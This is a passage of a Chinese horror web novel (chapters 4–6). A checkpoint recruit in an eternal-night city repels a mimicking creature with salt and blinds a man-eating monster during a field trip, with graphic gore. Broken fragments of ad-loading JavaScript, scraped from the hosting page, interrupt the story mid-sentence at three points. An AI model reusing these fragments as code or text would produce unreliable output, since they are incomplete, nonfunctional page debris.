“还剩40秒,正在倒计时。”tyz478欲言又止看了眼游骋,恰好人眉骨阴翳布下,神情难测,看着自有主张。 结果他转脸就对纪表妹说:“接下来,可能要麻烦你跟着我了。” “是你跟着我!”纪令闻急声。 鉴于入职培训手册必须严格遵守。 现在距离19:00,只剩不到十分钟了。 4. 第 4 章 纪令闻从老屋一路奔出来,浓雾似乎变淡了。 对面建筑物昏暗,只有壁灯还在一闪一闪地□□着。他们所在的这一方明晃晃,而另一处的植被过于茂盛,将来时的步道遮掩的严严实实。 她动了动被手铐拷住的手腕,活动受限。 哪怕纪令闻明知道得即刻动身,可就是走不动道,有股强阻力牵制、拖住,故意跟她对着干。 始作俑者就站在那里,抱臂望她。 “快点!”纪令闻真想给他整个搬走,催促得很急,不矫揉不装蒜,是真实的情绪。 游骋敛眸,打开了机械臂上的全息投影,看着上面显示倒计时时间正在疯狂减少,开口:“紧张什么。你叫我办的事已经办好了。” 他语气平平,反倒显得她神经过敏。 纪令闻张了张嘴,承认、否认都说不出口。 她可无权指使他为自己效劳,只是请他帮忙把她送回去。很正常的请求,从他嘴里说出来就变了味。 游骋身高实在优越,足足高出纪令闻一个头。等车的这段时间里,她的视线定在他的喉结上。 专车在老屋门前停下时,纪令闻不解地看向身侧的男人。 游骋提醒她:“先上车。时间不充裕了,你不是急着要走吗?” 纪令闻弯腰进到后排,刚想坐下,就听游骋的声音飘过来。 “往里点。还有我要坐。” 这话一出,车里所有人都往他那边看。 游骋抬了抬眼,修长的手指拉扯两下隔离服的领口。 脸上分明没有任何的情绪波动,却能让人感觉到山雨欲来的沉闷和压迫感。 zcw533硬着头皮,虔诚且板正地陈述:“头儿,大老远的你表妹来投奔你也不容易。我是说,你俩长得挺像的。” 人与人长相相似并不算新鲜事,可游骋和纪令闻长得并不像,从脸型到眼睛、鼻子、嘴唇都有很大差别,完全不是同一挂的。 硬要扯的话,只是某些部位相似度较高,比如嘴唇都略显上薄下厚,唇珠不太突出。 纪令闻的嘴角自然放松状态,走向往下,而游骋的就看起来更为立体。这样的说法其实多少有点勉强。 他们并肩而坐,那种氛围让人联想到小猫猫和猫粮。 当然这话,旁人是不敢说的。 游骋没有再开口,极度缄默,难以确定他是不是认同了对方的话。 如今的处境纪令闻再清楚不过,因此对身份的事情,跟游骋统一口径,咬定两人是远房表亲的关系。 只是手铐的存在感极为强烈,想不注意到都难。 收缩得太紧了,纪令闻都被夹得生疼,游骋估计也没好受到哪里去。 车子行驶在安静的路段,耳边只有呼吸声。 不知道是不是错觉,纪令闻总感觉有双眼睛盯着自己,浑身不自在。 抬头,那道目光先一步撤离,仿若无事发生。 短短一天,她经历了太多。先被逮捕,又被释放,坐的还是同一辆专车。 没多久,车子停稳后,司机就下车了。 好在宿舍的宵禁时间还没到,游骋将一枚戒指递给纪令闻,言简意赅地说:“保持联络。” 这是一枚活扣勺戒,边缘镌刻着不明纹样,应该是纯银,本身用料也相当扎实,沉甸甸的。就是太久没戴略显氧化,不过氧化之后也很美,显得没那么生涩。 中央的星标能够自由旋转,从表面被磨得发亮的情况来看,不难推断戒指的持有者几乎每天都会取出来摩挲。 纪令闻将戒指戴在食指上,尺寸刚刚好,弧度恰到好处地贴合手指,仿佛为她量身打造。 她突然胸腔震颤,为什么游骋连她的指围都知道? 遗憾的是,这个问题刚露出苗头,随即就被遏制住了。 戒指套上手指就摘不下来了。 虽然是开口戒,但却很难调节。 “滴”——智能手铐在这时应声解锁。 原本紧凑在一块儿的两只手瞬间解脱,纪令闻迅速抽离自己的手,转动手腕,没多余表示。 游骋垂下眼睫,在她腕骨靠近掌骨的位置,看到了一条暗红色的淤痕。 重获自由的感觉并没持续多久。 纪令闻准备下车。 游骋也跟着她走,送到宿舍楼下门前,忽然风牛马不相及地告诉她:“规则是死的,人是活的。别被规则套住。” 纪令闻不是傻子,她清楚他的意思。 只是她没法绕出这个怪圈。 可回到寝室,李宝嘉火急火燎要找她验证一件事情。 “我发现值班表上多出一行手写字,现在都是用电脑操作,站长不可能会出错……” 很快,头顶的灯就灭了。 恰好熄灯后一秒,门把转动的声响让寝室里的人都停下动作。 黑暗笼罩了整个寝室,纪令闻和两个室友合力堵在门后,她扬声问:“谁呀?” “是我。” 门外的声音稍稍停顿,响起一道微弱的女声:“我是张晓亚,我没死,快让我进来,熄灯后不让待在外面的。” 纪令闻执意,眼神一寸寸地坚定:“不行,熄灯后不能开门。” “可这确实是张晓亚的声音。”李宝嘉说。 原来是室友。 广播已经通报猝死的室友。 张晓亚一连将门把手拧了好几圈,纪令闻在门上方的通气窗看见了,她那只手拧成麻花状……软塌塌地垂着。 动作迟钝,软烂粘稠得就像蒸熟的糯米糕一样。 安珀急急忙忙就要触碰裸眼全息屏,却被身侧的纪令闻一把按住手腕。 安珀没理解,“张晓亚没死,我们得赶紧上报啊!” 纪令闻略过她,再次出声:“门没锁,我们都睡了,你直接进来就行。” 这话在此刻寝室内的人耳中,却显得尤为荒谬。 这个所谓张晓雅,倘若是个正常人,能自己开门进来,就无需麻烦已经就寝的室友起来开门。 由于寝室夜间会锁门,恰好纪令闻踩点赶回来,也就没来及上锁,所以他们刚才都没能及时意识到这一点。 此时门外静悄悄,毫无回应。 所有迹象均指向对方是敌非友,跟她们不是同一阵营。 安柏没忍住缩了缩脖子,总算品出不对劲了,抓着纪令闻死活不撒手。 显而易见,纪令闻的担心是有必要的。 门外的生物真的是她们的同类吗? “你们是不是故意不让我进?” 这次,张晓亚的声音陡然沉下来,更森冷、脱离人性。 纪令闻一字不落地听进耳朵里,声音几乎是穿透门板而来,疑似声音的主人趴在透气窗,整张脸陷进扇叶组件里偷窥。 她能清晰感知到,扇叶间隙有某种流体在悄悄渗流,幸好目前位置处于盲区,什么都看不见,否则那惊人的视觉冲击,肯定会吓得安珀当场深度睡眠。 纪令闻快速撒了一把盐,退回自己的床位前。 她向安珀和李宝嘉打了个手势,她俩迟疑片刻,听话照做,三人谁都没说话。 见屋内没动静,门外的生物逐渐失去耐心,发出吱吱的诡笑,伴随咕噜的诡异声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 响,在这寂静漆黑中,每个人的感官都被无限放大。 室友们紧紧憋着气,生怕稍有动静,那不明生物就会破门而入。 不知过了多久,咕噜声渐隐。三人同时松了一口气,纪令闻摸了摸手心,才发现残留的盐粒已经融化了。 她直觉怎么做都是无路,无端像是走上了钢丝,赌对‘未知生物’的属性猜测是正确的,赌那东西开不了门,赌盐能起作用。 幸亏,运气不算太背。 纪令闻拿着拖把,就那么开了门。 B4844看起来没有任何异样。 楼道里散发着一股深度发酵的腥臊气,相比之前在家时,来得更为冲鼻,纪令闻折身推门,但门只半开就被什么东西黏住了,纹丝不动。 因为被门口的尸身截断了进程。 说是尸身,其实早已面目全非,辨认不出一点人形轮廓。 好像被盐充分溶解又侵蚀了扇叶,化为粘液附着在橡胶地毯的网眼里,连同检查站的工服碎布,被纪令闻挥舞的拖把甩得淅淅沥沥。 安珀在后面发出一声干呕,身体不受控制地跌倒。 李宝嘉没什么意外,表情麻木,又隐隐觉得很蹊跷。 两双眼睛看着纪令闻清扫残局,内心充满了难以言喻的情绪,不知道这个新人怎么能发挥出这么大的潜能。 待危险解除,李宝嘉点了一根蜡烛,看向纪令闻,随后沉着问道:“你怎么知道那东西怕盐?” “我曾看过相关记录,这种软体生物体内的水分会因为盐分的破坏而加速流失,使其体表粘液变干和脱水。”纪令闻偏头,说:“那种情况,横竖都要试一试。” 她回答得滴水不漏,让人挑不出毛病。 吃了没文化的亏,这种无助感,在纪令闻涮完拖把时到达了顶峰,反应过来有点发憷。 李宝嘉不觉得纪令闻在骗人,她看起来没那个心眼。 临睡之前,李宝嘉提醒了纪令闻一句,以后要是遇见反常现象,先保持清醒的自我认知,等你觉得周围安全后,再给清理者打电话,不要像今天这样贸然行事。 纪令闻摸不着这句话的头绪,但后者推了推黑框眼镜,没再细讲,只说:“待久了你会明白的。” 到点起床准备上岗那会儿,纪令闻得知隔壁寝室遭遇了极端的热量掠夺,每个人都因严寒在惊恐中死去,身体变得僵直。 永夜时代,热量是很重要的资源。要知道,人类是日行动物,日出而作日入而息。没了太阳的普照,大地将会陷入持久的黑暗与寒冷,生存都成问题,简直是终究噩梦。 然而,持续了整整十年都没能改变,那就说明永夜不止十年,长达数年的暗无天日,以及万里冻土、伪人侵扰…… 人类还能熬过去吗? 恐慌的阴影如寒霜般降临至每个员工头上。 恐惧的目的是放大这种负面情绪,并不能解决问题,纪令闻深谙这个道理。 道理浅显易懂,但不是人人都能自如地驾驭自己的情绪。 但这些都不是重点。 重点是,纪令闻的身后,有个模糊的身影逐渐清晰,正慢慢地向她靠拢。 这个人类幼崽,身体远比同龄人发育迟缓,尽管在这么拥挤的环境中,也能自由穿梭往来,毫不费力。端详片刻后,像心里有了明确的答案,忽然有了行动。 从纪令闻的视角看过去,工位区赫然掀起短暂轰动。 一个满脸稚气、眼神亮晶晶的小男孩,像个小炮弹一样蹦蹦跳跳地跑过来,紧紧拽住纪令闻的裤腿,仰起脸庞,用稚嫩的口吻问:“小姨,我妈妈去哪里了呢?” 5. 第 5 章 这句话像是一张密不透风覆盖在纪令闻身上,聒噪得很,她面无表情地站在这,削瘦的手背青筋鼓了鼓。 小男孩眼睛扑闪着天真无邪,软绵绵的让人忍不住想亲近。他的个头仅仅道纪令闻的大腿部,吊带裤虽不华丽却整洁,显然是被精心照料过的。 那个替换她姐姐的伪人,无论出于什么目的,都把这个小家伙照顾得很好。 同时,经历过拥有之后的失去,这种痛苦往往更难以承受。 纪令闻顿时语塞,视线跟着小侄子一齐往下看,眼皮随之收敛。这段日子发生了太多事,她不知道从哪里说起。 “纪思源,你妈妈早就死了。”说完,她就像是一口气干掉压箱烈酒,舌头发麻得半点知觉不剩。 话才落地,路过的同事立刻回头看了纪令闻一眼,眼神充满对她残忍的控诉。 安抚小孩并非纪令闻的强项,更拿侄子没辙,她只是说了实话。由于缺乏童年的记忆,她并不清楚小孩能够消化这个信息。 纪思源被她这句梆梆硬的话砸得大脑空白,双眼瞪得溜圆,过了半响,他才想到什么似的松开手,声音发闷:“那妈妈什么时候回来?” 周围的检查员不可避□□露出几分不忍和同情。 也是,五岁小孩正值天真烂漫、对周围环境充满探索欲的阶段,对死亡这样的抽象概念还难以领会。不过能保持这份纯真确实可贵。 摆脱温热的一小团,纪令闻还没张口,就落下一道沉稳有力的嗓音替她把话交代了。 “小思源,我知道你现在可能有些困惑或者难过,别怪小姨说得这么直接,因为妈妈已经不在你身边了。” “她去了一个很远很远的地方,你再也看不到她、摸不到她了。但是,妈妈会永远爱着你,她会在你的心里,也会在天上看着你、保护你。” 谈论死亡难免伴随着悲伤,偏偏这话很有人气儿。 纪思源啪嗒啪嗒掉眼泪的时候,纪令闻刚好有意避开,被游骋逮了个现行。 身穿隔离服的高大男人,即使再寻常不过的制服,穿在他身上也特别挺括有型。彼时,他撑着大厅护栏冲她招了招手。 纪令闻走过去,态度非常平正:“游长官有事找我?请讲。” 游骋似乎极乐于看到她装蒜的模样,他纡尊降贵地开了腔:“你想念妈妈的时候,就看看她的照片,或者拿出她送给你的礼物。这些都可以让你感受到妈妈的爱。小姨会替妈妈来爱你。” 站台下的纪思源犹豫了半天,哼唧了两声,拿定主意跟着纪令闻。 此时此刻,纪令闻终于领悟到,纪思源为什么会现身这里,且未受阻拦的原因。 “你怎么把他弄来了?”纪令闻目光不自觉地看向游骋。 游骋说:“社区没有足够人手照料孩子,只好亲自看护。再说,在这世上他是你唯一的亲人了。” 他没什么温度的语气,头顶的霓虹灯映照在眉骨,遮蔽了他眼中此刻的情绪变化。 不知道为什么,纪令闻总感觉这一幕似曾相识。 该怎么描述那种似是而非、看得着抓不住的感觉呢? 仿佛在她的人生画卷中留下过浓墨重彩的一笔,清晰又模糊。 他眼球的转动符合生理规律,但这并没有值得细看的内容。她没法对他进一步的剖析。 纪令闻跟这个小侄子不是很亲近,在她住在家里的那段时间里,他总是粘着他妈妈出来进去,跟她说话的次数寥寥无几。最重要的是小孩子生活无法自理,带着他只会添麻烦。 她才要辩驳两句,却被魏站长厉声打断:“吵什么,难道都不打算干活了?” 围观的人群听到后纷纷作鸟兽散,各自忙业务去了。 中途魏站长走到开水器旁接了杯茶多酚饮料,朝纪令闻扫过来:“刚接到消息,下区那个恶性事件有新的眉目,我得赶紧领几个人过去,虽然你还没过实习期,但这是个磨炼的好机会。” 她自然而然指了指值班室,“今天破例不用你当值。” 纪令闻迟疑了一下,说:“站长,我有个侄子需要时刻带在身边,他还小……” 在场所有人都没魏站长见多识广,每天都跟恶性事件和居民接触,她的语调不怒而严,立场相当坚决:“这绝对不行,工作和生活哪能混为一谈。你以为下区能有什么好人?” 这样的偏见言论带有明显的指向。 奇妙的氛围就连旁边的纪思源都捕捉到了。 他紧张地握住纪令闻的手,期待能从她那里得到一丝慰藉,然而未能如愿。 纪令闻神情与往日不同,她在思考。 游骋的人际交往,来来回回就那么几个人。 他愿意跟管理层这群上级领导打交道,是出于工作上的顾虑。即便有重大决策权,游骋也保持着一定的界限感,不轻易被他们的圈子同化。 不附会、不客套、不徇私,永远都是没偏没向的形象。 纪令闻大概知道,游骋是一个理性到近乎可怕的人。 当然,她还没见过他丧失理性,展现出真正可怕的一面。 就比如现在,游骋只是没什么含义地往这边瞥了一眼,仿若局外人。 “站长是否认为所有上区的人都是好人?”纪令闻惊愕之余,思路却十分清晰,“判断个人的优劣应以行为和性格为依据,而非环境条件。” 魏站长意味不明地打量她,“你还年轻,你所维护的人,未必心存感激。” 纪令闻可真冤枉,她不否认魏站长的观点,但也绝不想参不平等的行列。 她总觉得自己一个新人,在这里听到这方面的事情,不是什么好事,那不是她能接触的。尤其是魏站长的眼神,那绝对不是欣赏她。相反,很瞧不上她这个关系户。 置身于格子间中,四周是堆积如山的文件和忙碌的身影,每个员工都沉浸在各自的工作中,偶尔抬头交流,也只是匆匆一瞥。 纪令闻觉得大概率是。 眼看魏站长只是喝着茶多酚饮料,静候她的答复,纪令闻几次都想起身一走了之,可转念想想这或许是个台阶,于是克制住了那股冲动。 她面朝游骋的方向,目光停驻。 “不用看我,你可以答应,也可以拒绝。魏站长不会强迫你。” 游骋不给纪令闻说话的机会,像是什么都没发生,送完小孩,就往出口走。 魏站长和几个同事换下制服后离开了检查站大厅。 纪令闻觉得自己不能在误打误撞和主观臆测里度过,暂且不说她想不想,关键是她已经躲不掉了……甚至可以说一开始就被盯上了。 那颗枷锁心脏如影随形,无论纪令闻走到哪里,都难以摆脱祂的注视。 真忽视是做不到的。 按员工守则看,她现在处于一个高危状态,社区应该是有应对策略,否则清理者也不会每天出现在居民面前。 智核社区的管理员据说就是守护神般的存在,但纪令闻从来没见过他真人。 放任不管的情况下,单凭员工入职培训手册的指导,能不能在祂的监视下顺利存活? 纪令闻牙关紧咬着唇,努力控制自己的神志,不被压力牵着鼻子走。 智核社区被划分为上区于下区两大区域,其中上区的温度条件勉强适宜人类居住,但居民们仍要付出工时来换取每日所需的热量。相比之下,下区的居民就没那么幸运了,他们只能依靠社区每周发放的有限物资来维持体温稳定。 检查站分配物资包,成员们拿到了各自心仪的保暖用品,轮到纪令闻的时候,只闲置一顶番茄造型的针织帽,毛线非常软乎。 魏站长对此次出外勤的行程细节没透底,大家只知道个大概,不过工时报酬却翻倍了。 下区找不到配套完善的住宅楼,放眼望去都是密密麻麻的临时搭建所,毫无规划地散落各处,一定程度属于违规操作,但没人管这个。而这些住所的后方,矗立着众多成排、灯火通明的的高层建筑。 步入这片地带,路灯的照明越来越暗淡,单行道坑洼不平,积水遍布,终端摆放着禁止通行的警示牌,没有分岔路。 众人在公共长椅处落脚。 事实上,他们也没闲着,绕了一大圈,又回到原点。 一没看到执勤人员,二没找到过路居民,至于接应他们的人…… 更没见影。 不知道为什么,联系不上主管专员,发出的简讯也都石沉大海。网络信号强度正慢慢衰弱。 “好冷啊,不知道几点才能办好,冻死我了,手都不好使了。”同事搓搓手呼出一口白气,丧气地说。 冷吗? 纪令闻的体温在不断攀升,热得她几乎难以忍受,仿佛自己正被一个巨大的热源紧紧包围。 刚跨出脚步,纪思源就迫不及待跟在她身后,像个小尾巴,然后眼巴巴地看着她,一句话没说又好像什么都表达完整了。 她匆匆给小家伙扣上那顶番茄帽,没顾及有没有戴正,不动声色环顾四周的状况。 众人在等待中愈发急躁,但纪令闻已经摸上那块警示牌了。 大家满头露水地跟着上摸摸下摸摸,凑在警示牌边张望,毫无收获。 魏站长包裹得严严实实,只露出遮瞳的眼。她盯了纪令闻许久,明暗交接之下拉长了对方睫毛的阴影,比往常略显深邃隐匿,垂着的嘴角依旧如同暗流蛰伏。 只有她的目光是有实质的。 “你发现了什么不同寻常的东西吗?”魏站长循着纪令闻的视点看去,试探道。 当前气温显 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然骤降到零下八十度以下,连体格最健硕的员工都难抵挡严寒,就纪令闻这小身板竟然奇迹般地扛住了,甚至微微出汗。 纪思源:“帽子戴反了,小姨是个大笨蛋!” 而后他的嘴忽然被捂住,纪令闻食指抵在口鼻间,神色凝重地看向警示牌,“嘘。” 拐角有动静! 紧接着,所有人都清晰听见了声响,似乎有什么东西在匍匐前行。 是人的可能性迅速被否决。毕竟那声音听起来太过含糊不清。当它接近他们这条狭窄行道时,俨然不经意与墙皮刮蹭,尖锐的摩擦声高频且持续,令人极度不适。 几人吓得汗毛倒竖,后背湿了一大片,不大气都不敢喘,过了很久声音才渐渐消失。 尽管没正面交锋,但纪令闻已经能断定,这次爱刮墙皮的玩意儿,比寝室熄灯后不会开门的麻花手,危险系数有过之而无不及。 旋即听见一阵响动。凭空显现安全出口。 安全出口的标志亮起绿光,在昏暗中格外醒目,上面奔跑的小人指引逃生的路径,向大家传递一个重要信息:追随这道光,就能找到出路。 强调能找到出路,而不是生路,虽然这两个词听着没太大差距,可放在目前情形里,完全就变成了文字把戏。 就在同事们兴奋之际,有人战战兢兢问了句:“安全出口一定安全吗?” 这个问题太没边际头没尾了,让在场人都倒吸冷气。 纪令闻沉默着回味这句话,说:“除非有别的因素把它弄得不安全了。” 其实严格来说,现在需要走出这个破地方,相对难办。可如果这段时间,那玩意儿再次靠近,必然会引发新一轮的险境。 到时候只怕更棘手。 纪令闻向魏站长投去目光,只见她脸色闪过一丝异样,随即被深思取代,眉头紧锁得厉害。 “在你抉择前,我先给你说明注意事项。检查站任职期间,请约束自己的好奇心,不仅会伤害到你,还会导致全体员工置于危险境地。” 嘶,这个好奇心是指什么? 哪怕魏站长说的隐晦,纪令闻还是听懂了她的话外音。 第一点,社区管理层确实是清楚伪人存在的,并开始防范。祂能听懂人类的语言,并且有逻辑思维和模仿能力。祂擅长迷惑人,营造同类的假象,一旦祂锁定你,就会一步步引导丧失自我认知,不再有人性。 而纪令闻在报道当天就被划到备用人选里了。 为什么她没中招,是不是意味着祂察觉到有更高级别的造物正密切监视她,错误判断她是同伴? 魏站长恐怕是被条条框框限制住了。 那她呢?该怎么做?怎么做才是对的? 答应吗?她不知道。 怪物可能在附近徘徊,又或是在发出最后通牒——盲目逃窜不可取,而停留原地同样危险重重。 谁都没想到出个外勤会出现意外,他们都以为危险来自社区外面,谁会怀疑下区也有。 纪令闻能明确地感觉到同事此时强烈的不安情绪,除了那个从进入下区以后,就一直裹得严严实实的魏站长。 这人过于从容,就好像根本就不知道现在面临怎么样的威胁。但纪令闻并不觉得她真的不知情,仔细想想她说的话也很奇怪。 纪令闻垂在身侧的手无意识地蜷了蜷,绞紧又松开。 俗话说好奇心害死猫,俗话又说猫有九条命,她现在应该只差倒立行走的奇观和管理员没见过了。 她要亲眼看看,下区究竟发生了什么事,又隐瞒着怎样的秘密。 同事1号是个惜命的:“不要乱来,你会害死我们!” “别犯傻,我看还是留在这里比较稳妥!”同事2号保守派。 “有没有一种可能大家都被误导了?安全出口和逃生通道可不一样。”同事3号还尚存一丝理智。 …… 短短几分钟,耳边充斥着各种各样的声音。 很吵但无须在意。 纪令闻始终记着李宝嘉给出的那次忠告,保持清醒的自我认知,并从此基础举一反三。 员工默认入职检查站给大家发的是一本培训手册,其实是检查站给自己的培训手册配了个人。社区资源紧缺,居民必须依照规定通过劳动来支付生活成本,然而,这种做法并不能从根本得到保障,反而时刻在恐惧边缘徘徊。 什么是高压锅,这就是。 可谁在乎呢? 这种时代,谁会在乎是真是假?生命的全部意义无外乎活着本身而已。 刚讨论完,他们就听见她侄子的小肚腩叫了一声。 所有双眼睛都不约而同地集中在纪思源小朋友身上。 但他莫名其妙地挠挠脸,肯定地说:“不是我。” 6. 第 6 章 可如果是这样的话……那现在肚子咕咕叫的,又是谁? 几乎是在她意识到这点的刹那,纪令闻感到地面猛烈震动,脚下的泥土局部塌陷,警示牌随之左右摇晃,发出咯吱咯吱声。 警示牌上方被巨大片阴影覆盖,不断有雨水滴落下来。纪令闻抿着唇,试着向前走了两步,视线无意掠过那纹丝不动的警示牌,整个人倏地怔住。 ‘禁止入内’的字样,油漆还未烘干,这会儿却已化为液体汩汩流动。 那些液体不是雨水,而是具有强烈腐蚀性的……口水。 她缓缓抬眸,终于看见正朝着这边靠近的那个怪物—— 硬结的、扁圆的、重量级的。和她唯一能辨认出的,只有那一大块肉瘤,以及反向生长的种种器官。 用一种极度怪异的倒立姿势缓缓移动。 方才还吵吵嚷嚷的人群,突然集体安静。 空气仿佛凝固般,唯有八音盒运转的铃声,远远荡涤过来,或许是音质的缘故,听起来有些违和诡异。 再然后,就连伴奏都没了。 魏站长看见这么个庞然大物出来,张口闭口规则的话瞬间变成:“各位,到饭点了,请处理好自己的尸体。” 从怪物出现那一刻开始,大伙就深知挣扎只会让自己变得肉质Q弹,可他们谁都没鼓起勇气迈出第一步。 惊奇,审视,茫然,提心吊胆,但更多的是冷漠麻木。 比起这些半路同事的复杂心情,纪令闻脸上没有什么多余的表情,尽管目前的状况很不乐观。 纪令闻仍站在安全出口的位置,扫了一眼还在原地的所有人,与离她最近的男同事对上视线后,对方露出一副如释重负的表情,“真要说起来,你应该是所有人里,最先察觉到异常的。” 所有人,异常。 纪令闻敏锐地抓住这些关键词,接下话茬:“你知道内幕消息?我知道站长没那么简单,但她选中我们不仅仅牵涉恶性事件,既然关联不大,你说的这些话就不成立。” 饶是作为新人的纪令闻,她也一眼看出了魏站长的异样。 但这跟那东西不合时宜出现是两码事。 郑嘉树听见纪令闻的话深深吸了一口气:“我知道的也不多,但站长明显把我们给卖了,从迈进这里开始,我们就已经是别人眼中的一顿大餐了。就算信号没被屏蔽,清理者能不能赶到都是个问题。” 当然,现在这些都可以忽略。 可以肯定的是,魏站长依然是人类。那么,她这样做的动机是什么? 纪令闻不知道,也没空去想。 那个异形生物如同在享受一场自助盛宴,有求生欲强的还在跑,没跑掉的,则被口水腐蚀接着被其用脚掌铲起,不由分说地送入位于腹部的巨口之中,像台搅拌机器顷刻渣都不剩。场面既血腥又恶心。 目睹同伴一个个消失,其他人也没了保持认知的觉悟,肉眼可见地癫狂。 小孩子不能看这些。 但出乎意料的是纪思源一没哭二没闹,反而站在纪令闻身边,乖巧得不像话。 纪令闻捂住纪思源的眼睛,正要抱起他进入安全出口,却见不远处的拐角,笨重怪物跌跌撞撞地奔来,那双瘆人的眼珠滴溜转了一圈,目光落在了番茄帽上。 嘴里咕咕哝哝:“嘿,葒色?我可寔囍喛葒??飝阊。鈌錠了,就选这个……” 纪令闻不确定这东西的攻击点,只能通过方位来判断,它很可能要对纪思源下手。 等等。 番茄是红色的。 纪令闻默了下,猛地反应过来。这种时候、这种状况,能让它放弃唾手可得的‘食物’,转而耗费精力更换目标…… 下一秒,来自游骋一声呼喊,更是验证了她的设想。 “赶快把帽子扔了!” 红色会让它们感到亢奋,也是伪人最喜欢的颜色。 只可惜,现在分析出这点,似乎太迟了。 纪令闻盯着连滚带爬极度兴奋的颠倒怪物,将纪思源塞给游骋抱着,突然说她要去给这东西点颜色瞧瞧。 问询赶来的游骋喉结无声地滚了滚,没说话。 郑嘉树第一反应就是她疯了,可转念又想也不是全无可能。待回过神时,自己已经跟在纪令闻身后一步步迈进颠倒怪物。 相比纪令闻的松弛,郑嘉树表现得实在太过僵硬。他不知道纪令闻要怎么做,只能紧紧盯着她的一举一动,高度集中自己的所有精神,力求做出最快反应。 颠倒怪物看着站定在它面前的纪令闻,露出诡笑:“没问题,没问题。” 谈不上多瘦,血管凸起的脖颈看着惹眼又纤细。在颠倒怪物被番茄帽吸引的同时,纪令闻仰头,毫不掩饰地打量它的脸,脸型崎岖,五官错乱,还是独眼。就拿身高说没什么优势。 颠倒怪物说:“你有什么颜色拿出来。” 纪令闻只字不语,面不改色地眨睫,随后迅速弯腰,抓起脚下砂石挥撒开来。右手紧扣那颠倒怪物的大嘴,左手臂与手腕同时发力,食指中指并拢,沾满砂石的手指直驱颠倒怪物的眼珠。 游骋没错过纪令闻的动作,愣怔之后唇边稍稍凹陷一个不明显的括弧。 整个过程发生得太突然,站在纪令闻身后的郑嘉树被吓了一激灵,本能想要伸出援手,但当他定睛细看时,颠倒怪物已经流出了血泪。 确实是给它颜色瞧了。 纪令闻借郑嘉树的力倒退了好几步,站稳的瞬间,颠倒怪物从痛苦的状态恢复过来,随着一声尖锐的爆喝,颠倒怪物胡乱地扑腾着双脚,眼球震颤:“你对我做了什么!” “你做了什么!” “你到底对我做了什么!” 颠倒怪物绝望嘶吼,颠覆的器官再次变异轮换,脚指甲不停揉搓自己的眼睛,然而刚撒进去的粗粝砂石仿佛跟它作对,越抠搓磨损得越严重。 所有人都被眼前这一幕吓到了。 别急,这还只是个开端。颠倒怪物尖叫着抠出眼球还没停下来,直接冲到墙边,用力撞击自己的脑袋。就像是在做最后的整复杂,又像是它的肢体失去控制,盲目且愤然地将自己整个脑袋撞得血肉模糊。 钢筋刺透骨肉的声音,盖过了先前的所有尖叫,每一声都重重砸进旁观者的心房。 这个过程既不算短暂,也不算过分漫长。直到那副躯体的骨架彻底暴露并被击碎,腹部露出的脸已完全无法辨认,只剩一堆粘连的黏膜组织,那双脚才停歇。 面部被鲜血浸润,只留下一张阴森大嘴的颠倒怪物抽搐两下,慢慢从地上爬起来,重新回到警示牌范围内,还顺便带走了空地上的残骸,嘴巴咧开,断断续续地说:“红色,我讨厌……红色……” 鲜血伴随着言语不断喷涌而出,然而,所说的话却如同无意义的噪音,无人能听懂。 其余人的注意力全在纪令闻身上。 很难想象她是个新人,既靠得住,也不在关键时刻掉链子,现在看来实力惊人,同事里的郑嘉树对她倒是颇有好感。 说不来为什么他总觉得这个女孩,有深度。 只不过让他跟纪令闻搭话,又是另外一个程度了。纪令闻是游骋表妹,他什么还没做,就领到了一记眼刀。 对于这一点,纪令闻自己没察觉。 思绪更迭,心口忽然一抽,炙热感从指尖迅速扩散全身,原本充沛的体力尽数消失,她警觉到情况不妙,但体力透支前熟悉的被操控感已经袭了上来。 然而没会儿功夫就被游骋拽着衣领,跟拎小鸡似的,硬是把她提溜到了安全地带。 她抑制不住地浑身战栗。 在纪令闻开口之前,游骋微微眯了眯眼,分不清是提醒还是什么,丢下一句:“那就是我猜对了。” 听见游骋的话,纪令闻正巧看见郑嘉树快把避嫌写在脸了,艰难地挤出三个字:“差不多。” 同事们劫后余生,看到清理者跟看到救世主一样,一把鼻涕一把泪,事后自然免不了要接受心理疏导。 带来的8个同事被灭掉大半。或许是因为已经尽情享受完猎杀的关系,颠倒生物的关注在大部队这边,并未对落单的人太过纠缠。 但等它再次饿了之后呢? 纪令闻忽而垂下眼睑,不明白这个世道是怎么了,本来以为带个累赘已经是她最难过的关,没想到这只是序幕。 站在身侧的游骋亲眼目睹了她情绪低迷的整个过程,尤其是她手里还紧攥着那双童鞋。 “有实感了吗?”游骋手背贴了贴她的额头,高大的身躯稍稍俯下,视线与她齐平,“不管你怕不怕,在这里大规模死亡才是常态。” 纪令闻越过游骋,往他身后看去。 没人。 看样子,魏站长是先走一步,没等他们。 这样也好,她和魏站长碰不着面,也就不会再起冲突。 纪令闻微松口气,盯着他骨节分明的手看了两眼,后退半步拉开距离,就因为这退半步的举动惹到了游骋,他从上往下看她:“你要留下也可以,我不会干涉。” 话是这么说没错,但这样说真的合适吗? 这会儿纪令闻再也忍不住了,张嘴就吐了游骋一身。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >早饭没吃也就没东西可吐,但她觉得胃都要吐出来了,简直翻江倒海,食道顶得脑袋空白几秒。 两侧鬓发被汗水打湿粘在脸颊,整个人汗涔涔的,仿佛刚从水里捞出来。 自己闻着这味都嫌弃。 幸存者惊魂未定,目光飞快地朝那处瞟了一下。 就看到年轻的指挥官闭上眼,锋利的眉峰轻微拧起,脏污的胃液蜿蜒而下,即便隔离服有自洁功能,但这后果好像确实挺严重的。 偏偏他没什么表情,可总让人觉得他压根就不在意。 是不是有些包容的过分了? 纪令闻长得嫩生,皮肤也白,身高一米七多,站在游骋身边,就像是只长腿巨兔,一脚踩着人影子,亦步亦趋。 下区公园,风声争鸣。 早该接应他们的主管专员姗姗来迟,点头哈腰地迎接游骋,并热情表示请他们喝茶。 游骋停下步伐。 纪令闻心里掖着事,也没注意前面的人停下来,猝不及防,一头撞到男人坚硬的臂膀,鼻梁骤红。 她兀地抬起头,看过去。唇瓣抿作一线,因为用力抿着,多少有些发白。 把人家弄得如此狼狈,纪令闻实在过意不去。 她低声说了句抱歉,但风声很大,不知道那头有没有听见。 游骋朝警示牌抬了抬下颌,将视线聚焦在主管专员脸上,不咸不淡说:“你先告诉我,怎么就冒出了这么大麻烦。” 